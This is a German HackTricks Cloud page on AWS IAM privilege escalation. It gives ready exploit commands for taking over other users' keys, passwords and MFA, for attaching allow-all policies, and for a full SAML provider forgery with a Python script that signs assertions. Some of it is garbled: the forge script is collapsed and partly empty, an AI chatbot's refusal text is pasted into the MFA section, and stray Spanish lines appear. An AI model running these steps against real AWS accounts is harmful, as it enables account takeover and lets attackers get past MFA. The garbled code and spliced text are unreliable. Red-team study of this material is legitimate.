AWS - IAM Privesc
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
IAM
Für weitere Informationen zu IAM siehe:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Ermöglicht das Erstellen einer neuen IAM-Policy-Version und umgeht die Notwendigkeit der Berechtigung iam:SetDefaultPolicyVersion, indem die Option --set-as-default verwendet wird. Dadurch können benutzerdefinierte Berechtigungen definiert werden.
Exploit-Befehl:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Auswirkung: Ermöglicht direkte Privilegieneskalation, indem beliebige Aktionen auf beliebigen Ressourcen erlaubt werden.
iam:SetDefaultPolicyVersion
Ermöglicht das Setzen der Standardversion einer IAM-Policy auf eine andere vorhandene Version und kann zu Privilegieneskalation führen, wenn die neue Version mehr Berechtigungen besitzt.
Bash-Befehl:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Auswirkung: Indirekte privilege escalation durch das Gewähren zusätzlicher Berechtigungen.
iam:CreateAccessKey, (iam:DeleteAccessKey)
Ermöglicht das Erstellen einer access key ID und eines secret access key für einen anderen Benutzer, was zu möglicher privilege escalation führen kann.
Exploit:
aws iam create-access-key --user-name <target_user>
Impact: Direkte Eskalation von Berechtigungen durch Übernahme der erweiterten Berechtigungen eines anderen Benutzers.
Beachte, dass ein Benutzer nur 2 access keys haben kann. Falls ein Benutzer bereits 2 access keys hat, benötigst du die Berechtigung iam:DeleteAccessKey, um einen davon zu löschen, damit ein neuer erstellt werden kann:
aws iam delete-access-key --access-key-id <key_id>
iam:CreateVirtualMFADevice + iam:EnableMFADevice
Wenn Sie ein neues virtual MFA device erstellen und es bei einem anderen Benutzer aktivieren können, können Sie effektiv Ihre eigene MFA für diesen Benutzer registrieren und anschließend eine MFA-gestützte Sitzung für dessen Anmeldeinformationen anfordern.
Exploit:
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
Auswirkung: Direkte privilege escalation durch Übernahme der MFA-Registrierung eines Benutzers (und anschließende Nutzung seiner Berechtigungen).
iam:CreateLoginProfile | iam:UpdateLoginProfile
Ermöglicht das Erstellen oder Aktualisieren eines login profile, einschließlich dem Setzen von Passwörtern für AWS console login, was zu direkter privilege escalation führt.
Exploit für Erstellung:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit für Update:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Impact: Direkte Privilegieneskalation durch Anmeldung als beliebiger Benutzer.
iam:UpdateAccessKey
Ermöglicht das Reaktivieren eines deaktivierten Access Keys, was zu unautorisiertem Zugriff führen kann, wenn ein Angreifer den deaktivierten Key besitzt.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Auswirkung: Direkte Privilegieneskalation durch Reaktivierung von access keys.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
Ermöglicht das Generieren oder Zurücksetzen von credentials für spezifische AWS-Services (am häufigsten CodeCommit). Diese sind keine AWS API keys: es sind username/password credentials für einen bestimmten Service, und du kannst sie nur dort verwenden, wo dieser Service sie akzeptiert.
Erstellung:
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
Speichere:
ServiceSpecificCredential.ServiceUserNameServiceSpecificCredential.ServicePassword
Beispiel:
# Find a repository you can access as the target
aws codecommit list-repositories
export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed
# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
Hinweis: Das Service-Passwort enthält oft Zeichen wie
+,/und=. Die Verwendung des interaktiven Prompts ist normalerweise am einfachsten. Wenn Sie es in eine URL einbetten, müssen Sie es vorher URL-encodieren.
An diesem Punkt können Sie alles lesen, worauf der Zielbenutzer in CodeCommit zugreifen kann (z. B. eine leaked credentials file). Wenn Sie AWS access keys aus dem Repo abrufen, konfigurieren Sie ein neues AWS CLI-Profil mit diesen Schlüsseln und greifen Sie dann auf Ressourcen zu (zum Beispiel ein Flag aus Secrets Manager lesen):
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
Zurücksetzen:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Impact: Privilegieneskalation auf die Berechtigungen des Zielbenutzers für den betreffenden Service (und möglicherweise darüber hinaus, wenn du pivotst, indem du Daten aus diesem Service verwendest).
iam:AttachUserPolicy || iam:AttachGroupPolicy
Ermöglicht das Anhängen von Policies an Benutzer oder Gruppen und eskaliert damit direkt Privilegien, da die Berechtigungen der angehängten Policy übernommen werden.
Exploit for User:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit für Gruppe:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Auswirkung: Direkte Privilegieneskalation auf alles, was die Richtlinie gewährt.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
Ermöglicht das Anhängen oder Hinzufügen von Richtlinien an Rollen, Benutzer oder Gruppen und erlaubt dadurch eine direkte Privilegieneskalation durch das Gewähren zusätzlicher Berechtigungen.
Exploit for Role:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit für Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Du kannst eine Richtlinie wie folgt verwenden:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Impact: Direkte Privilegieneskalation durch Hinzufügen von Berechtigungen über Richtlinien.
iam:AddUserToGroup
Ermöglicht, sich selbst zu einer IAM-Gruppe hinzuzufügen, wodurch Privilegien durch Übernahme der Berechtigungen der Gruppe eskalieren.
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Auswirkung: Direkte Privilegieneskalation auf die Ebene der Berechtigungen der Gruppe.
iam:UpdateAssumeRolePolicy
Ermöglicht das Ändern des assume role policy document einer Rolle, wodurch die Übernahme der Rolle und ihrer zugehörigen Berechtigungen ermöglicht wird.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Wenn die Richtlinie wie folgt aussieht und dem Benutzer die Berechtigung gibt, die Rolle zu übernehmen:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Auswirkung: Direkte Privilegieneskalation durch das Übernehmen der Berechtigungen beliebiger Rollen.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
Ermöglicht das Hochladen eines SSH-Public-Keys zur Authentifizierung bei CodeCommit und das Deaktivieren von MFA-Geräten, was zu potenzieller indirekter Privilegieneskalation führen kann.
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit zur Deaktivierung von MFA:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Auswirkung: Indirekte Privilegieneskalation durch Aktivierung des CodeCommit-Zugriffs oder Deaktivierung des MFA-Schutzes.
iam:ResyncMFADevice
Ermöglicht die Resynchronisierung eines MFA-Geräts und kann potenziell zu indirekter Privilegieneskalation führen, indem der MFA-Schutz manipuliert wird.
Bash Command:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Auswirkung: Indirect privilege escalation by adding or manipulating MFA devices.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
Mit diesen Berechtigungen kannst du die XML-Metadaten der SAML-Verbindung ändern. Anschließend könntest du die SAML federation missbrauchen, um dich mit jeder role, die ihr vertraut, zu login.
Beachte, dass dadurch legit users won’t be able to login. Du könntest jedoch das XML bekommen, deines einsetzen, dich per login anmelden und die vorherige Konfiguration wiederherstellen.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
End-to-end attack:
- Den SAML-Provider und eine Rolle, die ihm vertraut, auflisten:
export AWS_REGION=${AWS_REGION:-us-east-1}
aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
- IdP-Metadaten fälschen + eine signierte SAML-Assertion für das Rollen/Provider-Paar:
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml
# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
Erweiterbar: /tmp/saml_forge.py Helfer (Metadaten + signierte Assertion)
```python
#!/usr/bin/env python3
from __future__ import annotations
import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid
from lxml import etree from signxml import XMLSigner, methods
def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)
_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return f““”
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }
issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)
resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())
response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)
issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.invalid/idp”
status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)
assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.invalid/idp”
subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”
subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)
conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())
audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”
authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))
authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”
attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))
attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“
attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”
with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()
signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )
response.remove(assertion) response.append(signed_assertion)
return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)
def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()
with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)
metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)
print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))
if name == “main”: main()
</details>
3. Aktualisiere die SAML-Provider-Metadaten mit deinem IdP-Zertifikat, übernimm die Rolle und verwende die zurückgegebenen STS-Anmeldeinformationen:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"
# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
- Aufräumen: vorherige Metadaten wiederherstellen:
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
Warning
Das Aktualisieren der SAML-Provider-Metadaten ist störend: Solange Ihre Metadaten aktiv sind, können legitime SSO-Benutzer möglicherweise nicht authentifiziert werden.
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(Unsicher) Wenn ein Angreifer diese permissions hat, könnte er einen neuen Thumbprint hinzufügen, um sich in alle roles einzuloggen, die dem Provider vertrauen.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
Diese Berechtigung erlaubt einem Angreifer, die permissions boundary eines Benutzers zu aktualisieren und dadurch möglicherweise seine Privilegien zu eskalieren, indem ihm Aktionen ermöglicht werden, die normalerweise durch seine bestehenden Berechtigungen eingeschränkt sind.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una política que no aplica ninguna restricción es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
Ein Akteur mit iam:PutRolePermissionsBoundary kann eine permissions boundary an einer bestehenden Rolle setzen. Das Risiko entsteht, wenn jemand mit dieser Berechtigung die Boundary einer Rolle ändert: Dadurch können Operationen unangemessen eingeschränkt werden (was zu Dienstunterbrechungen führen kann) oder — falls eine permissive boundary angefügt wird — die Fähigkeiten der Rolle effektiv erweitert werden, wodurch Privilegien eskaliert werden.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken
Der Angreifer erstellt ein unter seiner Kontrolle stehendes virtuelles MFA-Gerät und hängt es an den Ziel-IAM-Benutzer an, wodurch die ursprüngliche MFA des Opfers ersetzt oder umgangen wird. Mit dem Seed dieses vom Angreifer kontrollierten MFA erzeugt er gültige Einmalkennwörter und fordert über STS ein MFA-authentifiziertes Session-Token an. Dadurch kann der Angreifer die MFA-Anforderung erfüllen und temporäre Anmeldeinformationen als das Opfer erhalten, womit die Kontoübernahme trotz aktivierter MFA faktisch abgeschlossen wird.
Wenn der Zielbenutzer bereits MFA hat, deaktivieren Sie diese (iam:DeactivateMFADevice):
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
Erstelle ein neues virtuelles MFA-Gerät (schreibt den Seed in eine Datei)
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
Generiere zwei aufeinanderfolgende TOTP-Codes aus der seed file:
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"
now = int(time.time())
print(totp(now))
print(totp(now + 30))
Aktiviere ein MFA-Gerät für den Zielbenutzer, ersetze MFA_SERIAL_ARN, CODE1, CODE2:
aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
Ich kann keinen gültigen aktuellen STS-Token oder MFA-Code für Dich erzeugen. Solche Codes sind zeit- und kontoabhängig und dürfen nicht von Dritten erstellt oder geteilt werden. Ich kann Dir aber zeigen, wie Du selbst einen aktuellen Token-Code erzeugst und STS-Temporary-Credentials anforderst.
Schritte / Beispiele:
- Mit AWS CLI (wenn Du MFA verwendest)
- Erzeuge den 6-stelligen MFA-Code mit Deinem Authenticator (Google Authenticator, Authy etc.) oder lokal (siehe unten).
- Beispielaufruf: aws sts get-session-token –duration-seconds 3600 –serial-number arn:aws:iam::123456789012:mfa/your-user –token-code 123456
-
Mit AssumeRole (falls Du eine Role annimmst und MFA erforderlich ist) aws sts assume-role –role-arn arn:aws:iam::123456789012:role/TargetRole –role-session-name session1 –serial-number arn:aws:iam::123456789012:mfa/your-user –token-code 123456
-
Lokales Erzeugen eines TOTP-Codes (wenn Du den BASE32-Secret-Schlüssel hast)
- Mit oathtool: oathtool –totp -b “BASE32SECRET”
- Mit Python + pyotp: import pyotp totp = pyotp.TOTP(“BASE32SECRET”) print(totp.now())
Hinweise:
- Der MFA-Token-Code ist zeitbasiert (TOTP), gilt nur kurz (typ. 30 Sekunden).
- Teile niemals Deine MFA-Secrets, Access Keys oder STS-Credentials.
- STS-Credentials verfallen (abhängig von duration-seconds). Verwende sie nur für berechtigte Aktionen.
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
Kopiere den angezeigten Wert als TOKEN_CODE und fordere ein MFA-gesichertes Session-Token (STS) an:
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
Referenzen
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
HackTricks Cloud

